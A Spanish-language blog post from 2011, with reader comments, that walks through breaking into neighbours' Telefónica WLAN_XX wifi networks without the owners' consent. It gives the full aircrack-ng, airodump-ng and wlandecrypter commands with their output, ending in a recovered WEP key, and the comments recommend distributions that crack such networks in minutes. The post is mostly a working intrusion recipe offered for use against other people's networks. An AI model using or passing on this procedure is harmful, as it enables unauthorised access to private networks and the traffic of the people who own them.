martes, 1 de febrero de 2011

Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

   Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
  • El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
    ivan@suneo:~$ sudo apt-get install aircrack-ng
  • Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
    ivan@suneo:~$ sudo airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)
  • La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
    ivan@suneo:~$ sudo airodump-ng -w packets mon0

    CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
    00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
    00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
    00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
    00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
    00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450

    BSSID STATION PWR Rate Lost Packets Probes

    (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
    (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
    00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
    00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
    00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
  • He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

  •    Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
    En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
    ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

    wlandecrypter v1.3.1 (2010/04/21)

    [+] BSSID: 00:01:38:XX:XX:XX
    [+] Modelo: Xavi 7768r
    [+] Generando fichero de claves: dic_WLANB8.txt.kk
    [+] Fichero guardado OK
    [+] Generadas 65536 claves (896 KB)
    [+] Proceso finalizado con exito

       Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
       Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
    ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

    Opening packets-01.cap
    Reading packets, please wait...

    Aircrack-ng 1.0


    [00:00:00] Tested 3873 keys (got 6 IVs)

    KB depth byte(vote)
    0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

    KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
    Decrypted correctly: 100%

       Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
       P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

    3 comentarios:

    Unknown dijo...

    Hombre cuanto tiempo sin publicar nada... La 2ª peque os debe dar más trabajo que la primera jejeje. Me alegro que estés de vuelta.
    Un apunte si no te importa, todo esto está muy bien, pero hay una distro de linux ya preparada para no tener que teclear los tediosos comandos y que se llama wifislax. También han sacado una nueva versión de otra llamada wifiway. Además las puedes instalar en tu pen drive y son portables y muy cómodoas

    Iván dijo...

    Hola Luis,

    jajaja, no es sólo que nos de más o menos trabajo, es que ahora son dos :-P.

    Gracias por la info. Conozco esa distro, la usé hace bastantes años, pero esto es mucho más cómodo desde mi punto de vista porque puedes estar con tu portátil y tu ubuntu de siempre y no tener que reiniciar otra distro para romper una red. Aún así, también es cierto que la distro trae muchísimas más herramientas.

    Saludos, Iván.

    luis dijo...

    Bueno aunque ya está un poco anticuado, a ver si así te animo a escribir un nuevo artículo jejeje. Ya probé la nueva wifiway y he decir que es acojonante... redes que antes se me resistían horas, ahora caen en minutos gracias a sus nuevos diccionarios. Todo muy cómodo y sin tener que teclear ni un comando (es que cada vez soy más perezoso, sobre todo desde que tengo un móvil con android y escribe todo lo que le dictas jajaja). Bueno a ver si un día te animas a escribir algo nuevo, que se te echa de menos

    Publicar un comentario